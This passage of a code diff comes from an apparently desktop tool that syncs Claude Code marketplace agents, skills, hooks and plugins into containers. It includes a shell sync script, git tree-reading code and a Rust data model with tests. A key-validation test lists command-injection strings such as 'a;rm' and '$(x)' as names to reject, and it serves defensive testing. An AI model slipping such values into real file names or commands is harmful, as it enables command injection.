while read -r id; do
key=${id#hook:}
if rm -rf "$(item_path hook "$key")"; then report removed "$id"; else fail "$id: could not remove its files"; fi
done <"$R/hook_removals"
fi
# ── Plugins ──────────────────────────────────────────────────────────────────
jq -r '.plugin_marketplaces[]?' "$OLD" >"$R/old_slugs"
while read -r slug; do
if ! valid_slug "$slug"; then fail "invalid plugin marketplace name"; continue; fi
mname="triple-c-$slug"
dest="$BASE/plugins/$slug"
if ! { rm -rf "$dest" && cp -R "$WORK/plugins/$slug" "$dest"; }; then
fail "$mname: could not write $dest"
continue
fi
if grep -qxF "$slug" "$R/old_slugs"; then
claude_cmd plugin marketplace update "$mname" || fail "$mname: marketplace update failed"
elif ! claude_cmd plugin marketplace add "$dest"; then
claude_cmd plugin marketplace update "$mname" || { fail "$mname: could not be registered"; continue; }
fi
printf '%s\n' "$slug" >>"$R/final_slugs"
while IFS="$TAB" read -r key commit pslug; do
key=${key#_} commit=${commit#_} pslug=${pslug#_}
[ "$pslug" = "$slug" ] || continue
id="plugin:$key"
sid="plugin:$slug/$key"
p=$(prev_commit "$sid")
if [ -z "$p" ]; then
claude_cmd plugin install "$key@$mname" || { fail "$id ($mname): install failed"; continue; }
report installed "$id"
elif [ "$p" != "$commit" ]; then
claude_cmd plugin uninstall "$key@$mname"
claude_cmd plugin install "$key@$mname" || { fail "$id ($mname): reinstall failed"; continue; }
report updated "$id"
fi
record "$sid" "$(jq -cn --arg c "$commit" --arg s "$slug" '{commit: $c, slug: $s}')"
done <"$R/plugin_items"
done <"$R/new_slugs"
# Plugins no longer selected.
while read -r id; do
case "$id" in plugin:*) ;; *) continue ;; esac
if grep -qxF "$id" "$R/new_ids" || cut -f1 "$R/newstate" | grep -qxF "$id"; then continue; fi
if in_manifest "$id"; then carry_forward "$id"; continue; fi
# Name and marketplace come from the id alone ("plugin:<slug>/<key>").
rest=${id#plugin:}
case "$rest" in
*/*) slug=${rest%%/*} key=${rest#*/} ;;
*) slug="" key="" ;;
esac
if ! valid_key "$key" || ! valid_slug "$slug"; then
fail "$id: dropped an unrecognised record from the marketplace state"
continue
fi
if claude_cmd plugin uninstall "$key@triple-c-$slug"; then
report removed "plugin:$key"
else
fail "plugin:$key (triple-c-$slug): uninstall failed"
carry_forward "$id"
fi
done <"$R/old_ids"
# Plugin marketplaces with nothing left in them.
cut -f2- "$R/newstate" | jq -r 'select(has("slug")) | .slug' >>"$R/final_slugs"
while read -r slug; do
if grep -qxF "$slug" "$R/final_slugs"; then continue; fi
valid_slug "$slug" || continue
claude_cmd plugin marketplace remove "triple-c-$slug" || fail "triple-c-$slug: could not be removed"
rm -rf "$BASE/plugins/$slug"
done <"$R/old_slugs"
# ── State ────────────────────────────────────────────────────────────────────
jq -Rn '[inputs | split("\t") | { key: .[0], value: (.[1:] | join("\t") | fromjson) }] | from_entries' \
<"$R/newstate" >"$R/items.json"
if [ "$HOOKS_FAILED" = 1 ]; then
# settings.json still holds the old entries, so the old records stay true.
jq -s '.[0] as $new | .[1].items as $old
| ($new | with_entries(select(.key | startswith("hook:") | not)))
+ ($old | with_entries(select(.key | startswith("hook:"))))' \
"$R/items.json" "$OLD" >"$R/items2.json" && mv -f "$R/items2.json" "$R/items.json"
fi
if jq -n --slurpfile it "$R/items.json" --rawfile sl "$R/final_slugs" \
'{ version: 1, items: $it[0], plugin_marketplaces: ($sl | split("\n") | map(select(length > 0)) | unique) }' \
>"$STATE.tmp.$$"; then
mv -f "$STATE.tmp.$$" "$STATE"
else
rm -f "$STATE.tmp.$$"
fail "the marketplace state could not be saved"
fi
rm -rf "$WORK"
emit_report
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,90 @@
//! Test-only helpers: throwaway git repositories built with the `git` CLI, so
//! marketplace code is exercised against real git objects over `file://`.
//! The git plumbing itself lives in [`super::git::test_support`] (one copy).
use std::fs;
use super::git::test_support::{file_url, git, git_available};
pub struct GitFixture {
pub dir: tempfile::TempDir,
}
impl GitFixture {
/// `None` (with a note on stderr) when `git` is not installed; callers skip.
pub fn new() -> Option<Self> {
if !git_available() {
eprintln!("skipping: git is not installed");
return None;
}
let dir = tempfile::tempdir().expect("tempdir");
git(dir.path(), &["init", "-q", "-b", "main"]);
Some(Self { dir })
}
pub fn url(&self) -> String {
file_url(self.dir.path())
}
pub fn write(&self, path: &str, contents: &str) -> &Self {
let p = self.dir.path().join(path);
fs::create_dir_all(p.parent().unwrap()).unwrap();
fs::write(&p, contents).unwrap();
self
}
pub fn write_exec(&self, path: &str, contents: &str) -> &Self {
self.write(path, contents);
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let p = self.dir.path().join(path);
fs::set_permissions(&p, fs::Permissions::from_mode(0o755)).unwrap();
}
self
}
/// Commit everything and return the new commit id (40 hex).
pub fn commit(&self, message: &str) -> String {
git(self.dir.path(), &["add", "-A"]);
git(
self.dir.path(),
&["commit", "-q", "--allow-empty", "-m", message],
);
git(self.dir.path(), &["rev-parse", "HEAD"])
}
/// A repo with one item of every kind, committed. Returns the commit.
pub fn with_all_kinds(&self) -> String {
self.write(
"agents/code-reviewer.md",
"---\nname: code-reviewer\ndescription: Reviews code\n---\nReview the diff.\n",
)
.write(
"skills/example-skill/SKILL.md",
"---\nname: example-skill\ndescription: An example skill\n---\nDo the thing.\n",
)
.write(
"commands/example-command.md",
"---\ndescription: An example command\n---\nRun the example.\n",
)
.write(
"hooks/notify-on-stop/hook.json",
r#"{"name":"notify-on-stop","description":"Ping on stop","hooks":{"Stop":[{"hooks":[{"type":"command","command":"${HOOK_DIR}/notify.sh"}]}]}}"#,
)
.write_exec("hooks/notify-on-stop/notify.sh", "#!/bin/sh\necho done\n")
.write(
"plugins/.claude-plugin/marketplace.json",
r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin"}]}"#,
)
.write(
"plugins/example-plugin/.claude-plugin/plugin.json",
r#"{"name":"example-plugin","version":"0.1.0"}"#,
)
.write(
"plugins/example-plugin/skills/hello/SKILL.md",
"---\nname: hello\ndescription: Says hello\n---\nSay hello.\n",
);
self.commit("all kinds")
}
}
+511
View File
@@ -0,0 +1,511 @@
//! A read-only view of a repository tree at one commit.
//!
//! The catalog parser only ever talks to [`TreeView`], so it is tested
//! against [`MemTree`] with no git involved, and runs in production against
//! [`GitTree`], which reads git objects straight out of the bare cache.
#[cfg(test)]
use std::collections::BTreeMap;
#[cfg(test)]
use sha2::{Digest, Sha256};
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum EntryKind {
File,
Dir,
Symlink,
/// Anything else git can hold (submodule commits). Never installable.
Other,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct DirEntry {
pub name: String,
pub kind: EntryKind,
pub executable: bool,
}
pub trait TreeView {
/// Entries of the directory at `path` (`""` = root). `Ok(None)` if absent or not a dir.
fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String>;
/// Contents of the regular file at `path`, if it is at most `max_bytes`.
/// `Ok(None)` if absent or not a file. A larger file is
/// [`ReadError::TooLarge`], decided before its contents are loaded.
fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError>;
/// Stable content id of the entry at `path`; `None` if absent.
fn entry_id(&self, path: &str) -> Result<Option<String>, String>;
}
/// Why [`TreeView::read_file`] returned no contents.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum ReadError {
/// The file is larger than the caller's cap (known from the object
/// header, so nothing was inflated).
TooLarge {
path: String,
max_bytes: u64,
},
Other(String),
}
/// `"2 MiB"`, `"64 KiB"` or `"N bytes"`.
pub(crate) fn describe_size(bytes: u64) -> String {
const KIB: u64 = 1024;
const MIB: u64 = 1024 * 1024;
if bytes >= MIB && bytes.is_multiple_of(MIB) {
format!("{} MiB", bytes / MIB)
} else if bytes >= KIB && bytes.is_multiple_of(KIB) {
format!("{} KiB", bytes / KIB)
} else {
format!("{} bytes", bytes)
}
}
impl From<ReadError> for String {
fn from(e: ReadError) -> String {
match e {
ReadError::TooLarge { path, max_bytes } => {
format!("{} is larger than {}", path, describe_size(max_bytes))
}
ReadError::Other(msg) => msg,
}
}
}
impl From<String> for ReadError {
fn from(msg: String) -> Self {
ReadError::Other(msg)
}
}
/// Hex-encode `bytes`. Shared by [`MemTree`]'s content id (test-only) and
/// `catalog::item_fingerprint`'s plugin-entry hash (production), so there is
/// one hex formatter rather than two copies of the same `format!("{:02x}")`.
pub(crate) fn hex(bytes: &[u8]) -> String {
bytes.iter().map(|b| format!("{:02x}", b)).collect()
}
/// A tree at one commit of a bare gix repository.
pub struct GitTree {
repo: gix::Repository,
tree_id: gix::ObjectId,
}
#[cfg(test)]
thread_local! {
static REPO_OPENS: std::cell::Cell<usize> = const { std::cell::Cell::new(0) };
}
/// How many times this thread has opened a cache repo (tests only).
#[cfg(test)]
pub fn repo_opens() -> usize {
REPO_OPENS.with(|c| c.get())
}
/// Open a bare cache. Several [`GitTree`]s can share one open repo through
/// [`GitTree::at`] (cloning a `gix::Repository` shares its object store).
pub fn open_repo(repo_path: &std::path::Path) -> Result<gix::Repository, String> {
#[cfg(test)]
REPO_OPENS.with(|c| c.set(c.get() + 1));
gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))
}
impl GitTree {
pub fn open(repo_path: &std::path::Path, commit: &str) -> Result<Self, String> {
Self::at(open_repo(repo_path)?, commit)
}
/// The tree at `commit` of an already open repo.
pub fn at(repo: gix::Repository, commit: &str) -> Result<Self, String> {
let oid = gix::ObjectId::from_hex(commit.as_bytes())
.map_err(|e| format!("Invalid commit id {}: {}", commit, e))?;
let tree_id = repo
.find_commit(oid)
.map_err(|e| format!("Commit {} is not in the marketplace cache: {}", commit, e))?
.tree_id()
.map_err(|e| format!("Commit {} has no tree: {}", commit, e))?
.detach();
Ok(Self { repo, tree_id })
}
fn root(&self) -> Result<gix::Tree<'_>, String> {
self.repo
.find_tree(self.tree_id)
.map_err(|e| format!("Could not read tree {}: {}", self.tree_id, e))
}
/// `(object id, mode)` of the entry at `path`, or `None`.
fn lookup(
&self,
path: &str,
) -> Result<Option<(gix::ObjectId, gix::object::tree::EntryMode)>, String> {
if path.is_empty() {
return Ok(Some((
self.tree_id,
gix::object::tree::EntryKind::Tree.into(),
)));
}
let root = self.root()?;
let entry = root
.lookup_entry_by_path(path)
.map_err(|e| format!("Could not look up {}: {}", path, e))?;
Ok(entry.map(|e| (e.object_id(), e.mode())))
}
}
impl TreeView for GitTree {
fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String> {
let Some((id, mode)) = self.lookup(path)? else {
return Ok(None);
};
if !mode.is_tree() {
return Ok(None);
}
let tree = self
.repo
.find_tree(id)
.map_err(|e| format!("Could not read {}: {}", path, e))?;
let mut out = Vec::new();
for entry in tree.iter() {
let entry = entry.map_err(|e| format!("Could not read {}: {:?}", path, e))?;
let mode = entry.mode();
let kind = if mode.is_tree() {
EntryKind::Dir
} else if mode.is_link() {
EntryKind::Symlink
} else if mode.is_blob() {
EntryKind::File
} else {
EntryKind::Other
};
out.push(DirEntry {
name: entry.filename().to_string(),
kind,
executable: mode.is_executable(),
});
}
Ok(Some(out))
}
fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError> {
let Some((id, mode)) = self.lookup(path)? else {
return Ok(None);
};
if !mode.is_blob() {
return Ok(None);
}
// The header alone gives the size; a blob over the cap is never
// inflated (a compressible multi-GB file would otherwise be).
let size = self
.repo
.find_header(id)
.map_err(|e| format!("Could not read {}: {}", path, e))?
.size();
if size > max_bytes {
return Err(ReadError::TooLarge {
path: path.to_string(),
max_bytes,
});
}
let mut blob = self
.repo
.find_blob(id)
.map_err(|e| format!("Could not read {}: {}", path, e))?;
Ok(Some(blob.take_data()))
}
fn entry_id(&self, path: &str) -> Result<Option<String>, String> {
Ok(self.lookup(path)?.map(|(id, _)| id.to_string()))
}
}
#[cfg(test)]
#[derive(Debug, Clone)]
enum MemNode {
File { data: Vec<u8>, executable: bool },
Symlink { target: String },
}
/// In-memory tree for tests: path → node. Directories are implied by paths.
#[cfg(test)]
#[derive(Debug, Clone, Default)]
pub struct MemTree {
nodes: BTreeMap<String, MemNode>,
}
#[cfg(test)]
impl MemTree {
pub fn new() -> Self {
Self::default()
}
pub fn file(mut self, path: &str, contents: &str) -> Self {
self.nodes.insert(
path.to_string(),
MemNode::File {
data: contents.as_bytes().to_vec(),
executable: false,
},
);
self
}
pub fn exec_file(mut self, path: &str, contents: &str) -> Self {
self.nodes.insert(
path.to_string(),
MemNode::File {
data: contents.as_bytes().to_vec(),
executable: true,
},
);
self
}
pub fn symlink(mut self, path: &str, target: &str) -> Self {
self.nodes.insert(
path.to_string(),
MemNode::Symlink {
target: target.to_string(),
},
);
self
}
/// Place a file so that, inside `dir`, it is listed under the literal
/// entry name `name` — including a name `file`/`exec_file`/`symlink`
/// could never be asked to produce because it doesn't correspond to any
/// real filesystem path a caller here would construct: `.`, `..`, empty,
/// or containing `/`, `\` or a NUL byte. Exists only so a test can drive
/// `catalog::collect_dir`'s hostile-entry-name rejection without relying
/// on incidental behaviour of path-string splitting.
pub fn raw_named_file(mut self, dir: &str, name: &str, contents: &str) -> Self {
let path = if dir.is_empty() {
name.to_string()
} else {
format!("{}/{}", dir, name)
};
self.nodes.insert(
path,
MemNode::File {
data: contents.as_bytes().to_vec(),
executable: false,
},
);
self
}
fn is_dir(&self, path: &str) -> bool {
if path.is_empty() {
return true;
}
let prefix = format!("{}/", path);
self.nodes.keys().any(|k| k.starts_with(&prefix))
}
}
#[cfg(test)]
impl TreeView for MemTree {
fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String> {
if self.nodes.contains_key(path) || !self.is_dir(path) {
return Ok(None);
}
let prefix = if path.is_empty() {
String::new()
} else {
format!("{}/", path)
};
let mut out: BTreeMap<String, DirEntry> = BTreeMap::new();
for (key, node) in &self.nodes {
let Some(rest) = key.strip_prefix(&prefix) else {
continue;
};
match rest.split_once('/') {
Some((dir, _)) => {
out.entry(dir.to_string()).or_insert(DirEntry {
name: dir.to_string(),
kind: EntryKind::Dir,
executable: false,
});
}
None => {
let (kind, executable) = match node {
MemNode::File { executable, .. } => (EntryKind::File, *executable),
MemNode::Symlink { .. } => (EntryKind::Symlink, false),
};
out.insert(
rest.to_string(),
DirEntry {
name: rest.to_string(),
kind,
executable,
},
);
}
}
}
Ok(Some(out.into_values().collect()))
}
fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError> {
match self.nodes.get(path) {
Some(MemNode::File { data, .. }) if data.len() as u64 > max_bytes => {
Err(ReadError::TooLarge {
path: path.to_string(),
max_bytes,
})
}
Some(MemNode::File { data, .. }) => Ok(Some(data.clone())),
_ => Ok(None),
}
}
fn entry_id(&self, path: &str) -> Result<Option<String>, String> {
let mut hasher = Sha256::new();
let mut found = false;
let prefix = format!("{}/", path);
for (key, node) in &self.nodes {
if key != path && !key.starts_with(&prefix) {
continue;
}
found = true;
hasher.update(key.as_bytes());
hasher.update([0]);
match node {
MemNode::File { data, executable } => {
hasher.update([if *executable { b'x' } else { b'f' }]);
hasher.update(data);
}
MemNode::Symlink { target } => {
hasher.update(b"l");
hasher.update(target.as_bytes());
}
}
hasher.update([0]);
}
Ok(found.then(|| hex(&hasher.finalize())))
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn mem_tree_lists_files_dirs_and_symlinks() {
let t = MemTree::new()
.file("agents/a.md", "x")
.exec_file("hooks/h/run.sh", "#!/bin/sh")
.symlink("agents/link.md", "a.md");
let root = t.list_dir("").unwrap().unwrap();
assert_eq!(
root.iter()
.map(|e| (e.name.as_str(), e.kind))
.collect::<Vec<_>>(),
vec![("agents", EntryKind::Dir), ("hooks", EntryKind::Dir)]
);
let agents = t.list_dir("agents").unwrap().unwrap();
assert_eq!(agents[1].kind, EntryKind::Symlink);
let hook = t.list_dir("hooks/h").unwrap().unwrap();
assert!(hook[0].executable);
assert_eq!(t.list_dir("agents/a.md").unwrap(), None);
assert_eq!(t.list_dir("missing").unwrap(), None);
assert_eq!(t.read_file("agents/a.md", 10).unwrap().unwrap(), b"x");
assert_eq!(t.read_file("agents", 10).unwrap(), None);
}
#[test]
fn mem_tree_entry_id_changes_only_with_content() {
let a = MemTree::new()
.file("skills/s/SKILL.md", "one")
.file("agents/x.md", "x");
let b = MemTree::new()
.file("skills/s/SKILL.md", "one")
.file("agents/x.md", "changed");
let c = MemTree::new()
.file("skills/s/SKILL.md", "two")
.file("agents/x.md", "x");
assert_eq!(
a.entry_id("skills/s").unwrap(),
b.entry_id("skills/s").unwrap()
);
assert_ne!(
a.entry_id("skills/s").unwrap(),
c.entry_id("skills/s").unwrap()
);
assert_eq!(a.entry_id("nope").unwrap(), None);
}
/// Review #9: the size comes from the object header, so a blob over the
/// cap is refused without its body ever being inflated. The fixture's
/// loose object is cut short after its header: reading the body would
/// fail, while the header still names the full size.
#[test]
fn git_tree_refuses_an_oversized_blob_from_its_header() {
use crate::marketplace::git::test_support::{git, git_available, init_repo};
if !git_available() {
return;
}
const CAP: u64 = 64 * 1024;
let dir = tempfile::tempdir().unwrap();
let big = "x".repeat(CAP as usize + 1);
let commit = init_repo(
dir.path(),
&[
("agents/big.md", &big, false),
("agents/small.md", "hi", false),
],
);
let blob = git(dir.path(), &["rev-parse", "HEAD:agents/big.md"]);
let loose = dir
.path()
.join(".git/objects")
.join(&blob[..2])
.join(&blob[2..]);
let bytes = std::fs::read(&loose).unwrap();
let mut perms = std::fs::metadata(&loose).unwrap().permissions();
#[allow(clippy::permissions_set_readonly_false)]
perms.set_readonly(false); // git writes objects read-only
std::fs::set_permissions(&loose, perms).unwrap();
std::fs::write(&loose, &bytes[..40.min(bytes.len())]).unwrap();
let tree = GitTree::open(&dir.path().join(".git"), &commit).unwrap();
let err = String::from(tree.read_file("agents/big.md", CAP).unwrap_err());
assert!(err.contains("larger than 64 KiB"), "{err}");
// The body really is unreadable: under a cap it fits, the read fails
// for another reason — so the refusal above never inflated it.
let body = String::from(tree.read_file("agents/big.md", 2 * CAP).unwrap_err());
assert!(!body.contains("larger than"), "{body}");
assert_eq!(
tree.read_file("agents/small.md", CAP).unwrap().unwrap(),
b"hi"
);
assert_eq!(tree.read_file("agents/missing.md", CAP).unwrap(), None);
}
#[test]
fn trees_at_several_commits_share_one_open_repo() {
use crate::marketplace::git::test_support::{commit_files, git_available, init_repo};
if !git_available() {
return;
}
let dir = tempfile::tempdir().unwrap();
let c1 = init_repo(dir.path(), &[("a.md", "one", false)]);
let c2 = commit_files(dir.path(), &[("a.md", "two", false)], "second");
let before = repo_opens();
let repo = open_repo(&dir.path().join(".git")).unwrap();
let t1 = GitTree::at(repo.clone(), &c1).unwrap();
let t2 = GitTree::at(repo, &c2).unwrap();
assert_eq!(repo_opens() - before, 1);
assert_eq!(t1.read_file("a.md", 10).unwrap().unwrap(), b"one");
assert_eq!(t2.read_file("a.md", 10).unwrap().unwrap(), b"two");
}
#[test]
fn mem_tree_applies_the_same_cap() {
let t = MemTree::new().file("a.md", "12345");
assert_eq!(t.read_file("a.md", 5).unwrap().unwrap(), b"12345");
let err = String::from(t.read_file("a.md", 4).unwrap_err());
assert!(err.contains("a.md is larger than 4 bytes"), "{err}");
}
}
+14
View File
@@ -1,6 +1,7 @@
use serde::{Deserialize, Serialize};
use super::gateway_settings::GatewaySettings;
use super::marketplace::{Marketplace, MarketplaceAccount, MarketplaceInstall};
use super::project::{ClaudeCodeSettings, EnvVar};
fn default_true() -> bool {
@@ -135,6 +136,16 @@ pub struct AppSettings {
pub gateway: GatewaySettings,
#[serde(default)]
pub global_claude_code_settings: Option<ClaudeCodeSettings>,
/// Sign-in accounts for private marketplace repos. Secrets live in the
/// OS keychain (`storage::secure::*_marketplace_token`), never here.
#[serde(default)]
pub marketplace_accounts: Vec<MarketplaceAccount>,
/// Marketplace git repos the user added.
#[serde(default)]
pub marketplaces: Vec<Marketplace>,
/// Items installed for every project (projects may opt out per item).
#[serde(default)]
pub global_marketplace_installs: Vec<MarketplaceInstall>,
/// Whether the terminal loads `@xterm/addon-webgl`.
///
/// `None` is "auto", and auto is not the same answer on every platform.
@@ -246,6 +257,9 @@ impl Default for AppSettings {
stt: SttSettings::default(),
gateway: GatewaySettings::default(),
global_claude_code_settings: None,
marketplace_accounts: Vec::new(),
marketplaces: Vec::new(),
global_marketplace_installs: Vec::new(),
terminal_gpu_rendering: None,
}
}
+406
View File
@@ -0,0 +1,406 @@
//! Marketplace data model — see `docs/superpowers/specs/2026-09-27-marketplace-design.md`.
//!
//! Plain data plus the pure rules that decide what a project actually gets
//! ([`effective_installs`]) and what names are allowed to reach a container
//! path ([`is_valid_item_key`], [`marketplace_slug`]).
use std::collections::BTreeMap;
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum ItemKind {
Agent,
Skill,
Command,
Hook,
Plugin,
}
impl ItemKind {
/// The lowercase name used in report strings (`"agent:code-reviewer"`) and the manifest.
pub fn as_str(&self) -> &'static str {
match self {
ItemKind::Agent => "agent",
ItemKind::Skill => "skill",
ItemKind::Command => "command",
ItemKind::Hook => "hook",
ItemKind::Plugin => "plugin",
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum AccountMethod {
GhHost,
GhContainer,
Token,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct MarketplaceAccount {
pub id: String,
pub label: String,
pub host: String,
pub method: AccountMethod,
#[serde(default)]
pub username: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct Marketplace {
pub id: String,
pub name: String,
pub url: String,
#[serde(default)]
pub branch: Option<String>,
#[serde(default)]
pub account_id: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
pub struct MarketplaceItemRef {
pub marketplace_id: String,
pub kind: ItemKind,
pub key: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct MarketplaceInstall {
pub marketplace_id: String,
pub kind: ItemKind,
pub key: String,
pub commit: String,
}
impl MarketplaceInstall {
pub fn item_ref(&self) -> MarketplaceItemRef {
MarketplaceItemRef {
marketplace_id: self.marketplace_id.clone(),
kind: self.kind,
key: self.key.clone(),
}
}
}
/// What a project's container actually gets: the global installs minus the
/// ones this project opted out of, plus the project's own installs. When the
/// project installs an item that is also global, the project's entry (and so
/// its pin) wins. Sorted by item ref so the result is deterministic.
pub fn effective_installs(
global: &[MarketplaceInstall],
disabled: &[MarketplaceItemRef],
project: &[MarketplaceInstall],
) -> Vec<MarketplaceInstall> {
let mut out: BTreeMap<MarketplaceItemRef, MarketplaceInstall> = BTreeMap::new();
for install in global {
let item = install.item_ref();
if disabled.contains(&item) {
continue;
}
out.insert(item, install.clone());
}
for install in project {
out.insert(install.item_ref(), install.clone());
}
out.into_values().collect()
}
/// `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$` — the only names that may become a
/// container path component. No `/`, no leading `.` or `-`, no shell
/// metacharacters.
pub fn is_valid_item_key(key: &str) -> bool {
let bytes = key.as_bytes();
if bytes.is_empty() || bytes.len() > 64 {
return false;
}
if !bytes[0].is_ascii_alphanumeric() {
return false;
}
bytes
.iter()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
}
/// A container-safe name for a marketplace (plugin marketplace
/// `triple-c-<slug>`, plugin tree `plugins/<slug>/`): `mp-` and the first 8
/// alphanumeric characters of its id, lowercased. It depends on the id only,
/// never on the editable display name, so a rename cannot make a container
/// see a different marketplace (final review M4). Containers synced with
/// the earlier `<name>-<id8>` slugs move over on their next sync: the
/// plugins are installed under the new name and the old copies uninstalled.
pub fn marketplace_slug(id: &str) -> String {
let id_part: String = id
.chars()
.filter(|c| c.is_ascii_alphanumeric())
.map(|c| c.to_ascii_lowercase())
.take(8)
.collect();
if id_part.is_empty() {
"mp-marketplace".to_string()
} else {
format!("mp-{id_part}")
}
}
/// A full, lowercase, 40-character hex object id.
pub fn is_valid_commit(commit: &str) -> bool {
commit.len() == 40
&& commit
.bytes()
.all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b))
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct CatalogItem {
pub kind: ItemKind,
pub key: String,
pub name: String,
pub description: String,
/// Repo-relative path of the item (file or folder).
pub path: String,
/// `Some(reason)` when the item cannot be installed.
pub invalid: Option<String>,
/// Hooks only: rendered commands with `${HOOK_DIR}` substituted.
#[serde(default)]
pub hook_commands: Vec<String>,
/// Agents/commands/skills: the markdown body (≤ 64 KiB, truncated);
/// plugins: a component listing.
#[serde(default)]
pub preview: String,
/// Plugins only: what the plugin brings that runs or adds commands —
/// inline in its catalog entry and in its folder — shown before an
/// install is confirmed (PR review #4).
#[serde(default)]
pub plugin_components: Vec<PluginComponent>,
}
/// One part of a plugin that can run something: e.g. its catalog entry's
/// `mcpServers`, or its folder's `hooks/hooks.json`.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct PluginComponent {
/// Where it comes from, e.g. `"marketplace.json entry: mcpServers"`.
pub label: String,
/// Pretty-printed JSON, file text or a listing (≤ 64 KiB, truncated).
pub content: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
pub struct MarketplaceSnapshot {
pub marketplace_id: String,
pub head_commit: Option<String>,
/// RFC 3339.
pub fetched_at: Option<String>,
pub fetch_error: Option<String>,
pub items: Vec<CatalogItem>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct ItemUpdate {
pub item: MarketplaceItemRef,
pub pinned: String,
pub head: String,
/// Why the item cannot be installed at `head` (invalid there, or gone),
/// so the update would be refused; `None` when it can be applied.
#[serde(default)]
pub invalid_at_head: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum FileChange {
Added,
Removed,
Modified,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct FileDiff {
pub path: String,
pub change: FileChange,
/// Unified diff text; `None` when either side is binary.
pub unified: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
pub struct SkippedItem {
pub item: String,
pub reason: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
pub struct SyncReport {
#[serde(default)]
pub installed: Vec<String>,
#[serde(default)]
pub updated: Vec<String>,
#[serde(default)]
pub removed: Vec<String>,
#[serde(default)]
pub skipped: Vec<SkippedItem>,
#[serde(default)]
pub errors: Vec<String>,
/// RFC 3339, set by the host.
#[serde(default)]
pub finished_at: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(tag = "type", rename_all = "snake_case")]
pub enum InstallScope {
Global,
Project { project_id: String },
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ProjectSyncResult {
pub project_id: String,
pub report: SyncReport,
}
#[cfg(test)]
mod tests {
use super::*;
fn install(market: &str, kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall {
MarketplaceInstall {
marketplace_id: market.to_string(),
kind,
key: key.to_string(),
commit: commit.to_string(),
}
}
#[test]
fn effective_set_is_global_minus_disabled_plus_project() {
let global = vec![
install("m1", ItemKind::Agent, "reviewer", "a"),
install("m1", ItemKind::Hook, "notify", "a"),
];
let disabled = vec![MarketplaceItemRef {
marketplace_id: "m1".into(),
kind: ItemKind::Hook,
key: "notify".into(),
}];
let project = vec![install("m2", ItemKind::Skill, "tidy", "b")];
let got = effective_installs(&global, &disabled, &project);
assert_eq!(
got,
vec![
install("m1", ItemKind::Agent, "reviewer", "a"),
install("m2", ItemKind::Skill, "tidy", "b"),
]
);
}
#[test]
fn project_pin_wins_over_global_pin() {
let global = vec![install("m1", ItemKind::Agent, "reviewer", "old")];
let project = vec![install("m1", ItemKind::Agent, "reviewer", "new")];
let got = effective_installs(&global, &[], &project);
assert_eq!(got, vec![install("m1", ItemKind::Agent, "reviewer", "new")]);
}
#[test]
fn same_key_different_kind_are_different_items() {
let global = vec![
install("m1", ItemKind::Agent, "x", "a"),
install("m1", ItemKind::Command, "x", "a"),
];
assert_eq!(effective_installs(&global, &[], &[]).len(), 2);
}
#[test]
fn item_keys_follow_the_pattern() {
for ok in ["a", "code-reviewer", "A.b_c-9", &"x".repeat(64)] {
assert!(is_valid_item_key(ok), "{ok} should be valid");
}
for bad in [
"",
".hidden",
"-flag",
"_x",
"a/b",
"a b",
"a;rm",
"$(x)",
"ä",
"..",
&"x".repeat(65),
] {
assert!(!is_valid_item_key(bad), "{bad:?} should be invalid");
}
}
#[test]
fn slug_is_derived_from_the_id_only() {
assert_eq!(
marketplace_slug("7C9E6679-7425-40de-944b-e07fc1f90ae7"),
"mp-7c9e6679"
);
assert_eq!(marketplace_slug("1A2B-3C4D-ffff"), "mp-1a2b3c4d");
assert_eq!(marketplace_slug("ab"), "mp-ab");
assert_eq!(marketplace_slug("--"), "mp-marketplace");
}
#[test]
fn commits_must_be_full_lowercase_hex() {
assert!(is_valid_commit(&"a".repeat(40)));
assert!(!is_valid_commit(&"A".repeat(40)));
assert!(!is_valid_commit(&"a".repeat(39)));
assert!(!is_valid_commit("HEAD"));
}
#[test]
fn install_scope_serialises_tagged() {
assert_eq!(
serde_json::to_value(InstallScope::Global).unwrap(),
